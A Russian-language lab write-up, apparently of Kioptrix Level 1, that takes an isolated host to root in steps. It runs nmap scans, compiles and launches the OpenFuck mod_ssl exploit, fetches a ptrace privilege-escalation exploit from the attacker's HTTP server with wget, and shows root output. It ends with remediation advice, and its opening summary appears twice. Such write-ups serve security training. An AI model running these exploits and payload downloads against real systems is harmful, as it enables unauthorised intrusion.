
Получен root-доступ путем выявления и эксплуатации неверных конфигураций и устаревшего программного обеспечения. Уязвимость переполнения буфера в устаревшей версии mod_ssl (CVE-2002-0082). Повышение привилегий было впоследствии достигнуто путем эксплуатации состояния гонки в утилите «ptrace» ядра Linux (CVE-2003-0127),
Получен root-доступ путем выявления и эксплуатации ошибок конфигурации и устаревшего программного обеспечения. Уязвимость переполнения буфера в устаревшей версии mod_ssl (CVE-2002-0082). Повышение привилегий было впоследствии достигнуто путем эксплуатации состояния гонки в утилите "ptrace" ядра Linux (CVE-2003-0127), Фаза 1: Разведка и сбор информации Первым шагом было определение IP-адреса цели в подсети 192.168.56.0/24.
Обнаружение хостов:
sudo nmap -sn 192.168.56.0/24
Результат: цель обнаружена по адресу 192.168.56.105.
Сканирование портов и определение служб: Был выполнен полный сканирование Nmap для выявления открытых портов, запущенных служб и информации об операционной системе.
sudo nmap -sS -sV -O -p- -oA lab_full_scan1 192.168.56.105
Ключевые находки:
Порт 80/tcp и 443/tcp: Запущен Apache httpd 1.3.20 с mod_ssl/2.8.4 и OpenSSL/0.9.6b.
Порт 22/tcp: Запущен OpenSSH 2.9p2.
Порт 139/tcp: Запущен Samba smbd.
Определение ОС: Linux Kernel 2.4.X (вероятно 2.4.9 - 2.4.18).
Устаревшая версия Apache и mod_ssl сразу же представила вектор атаки с высокой вероятностью для первоначального доступа. Фаза 2: Первоначальный доступ (Эксплуатация)
База данных эксплойтов через searchsploit подтвердила, что mod_ssl 2.8.4 уязвим к хорошо известному удаленному переполнению буфера.
searchsploit mod_ssl 2.8
Я идентифицировал эксплойт OpenFuckV2.c (EDB-ID: 47080) как наиболее надежный полезный payload для этой уязвимости. Я скопировал эксплойт на локальный хост и скомпилировал его с необходимыми криптографическими библиотеками.
Компиляция эксплойта:
searchsploit -m 47080 gcc -o OpenFuck 47080.c -lcrypto
Запуск скомпилированного бинарного файла без аргументов предоставил список поддерживаемых смещений. Сопоставив смещение с конкретной ОС и версией Apache цели (Red-Hat Linux, Apache 1.3.20), я определил, что правильное смещение — 0x6b.
Выполнение:
./OpenFuck 0x6b 192.168.56.105 443 -c 40
Эксплойт успешно вызвал переполнение буфера, предоставив оболочку с низкими привилегиями от имени пользователя apache.
bash-2.05$ whoami apache
Фаза 3: Повышение привилегий
Примечание по методологии: Эксплойт OpenFuck пытается автоматически загрузить вторичный полезный payload для повышения привилегий (ptrace-kmod.c) с удаленного сервера через wget. Однако, поскольку целевая среда не имела исходящего доступа в Интернет, этот автоматический шаг не удался (разрешение имени привело к "Host not found"). Я перешел к ручному сбору информации и эксплуатации.
Сбор информации о системе:
bash-2.05$ uname -a Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
Система работала на очень уязвимой версии ядра: 2.4.7-10. Поиск эксплойтов, нацеленных на это конкретное ядро Linux, выявил локальную уязвимость повышения привилегий с использованием ptrace/kmod.
Подготовка полезной нагрузки: Я нашел эксплойт локально (EDB-ID: 3) и разместил его через Python HTTP сервер на атакующей машине для упрощения передачи.
Атакующий хост:
searchsploit -m 3 python3 -m http.server 8000
Целевая машина:
cd /tmp wget http://192.168.56.1:8000/3.c
Исходный код 3.c был успешно передан в каталог /tmp цели. Я скомпилировал и выполнил его нативно на целевой машине.
Выполнение и получение root-доступа:
gcc 3.c -o exploit
./exploit
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Состояние гонки ptrace было успешно эксплуатировано, повышение привилегий от демона apache до root. Полная компрометация системы была достигнута.
Фаза 4: Устранение уязвимостей Для защиты этой системы от использованных уязвимостей:
Обновление веб-служб: сервер Apache должен быть обновлен до последних стабильных версий для устранения уязвимости переполнения буфера CVE-2002-0082, которая позволяет неаутентифицированное удаленное выполнение кода.
Обновление ядра: ядро Linux (2.4.7-10) уязвимо к множеству локальных эксплойтов повышения привилегий, включая состояние гонки ptrace (kmod). Ядро операционной системы должно быть обновлено до современной поддерживаемой версии.
Сегментация сети и фильтрация исходящего трафика: сервер должен быть размещен за межсетевым экраном, который ограничивает ненужный исходящий трафик. Хотя автоматический wget не удался в этой автономной лаборатории, фильтрация исходящего трафика предотвратила бы загрузку вторичных вредоносных полезных нагрузок из интернета скомпрометированными веб-приложениями в реальной среде.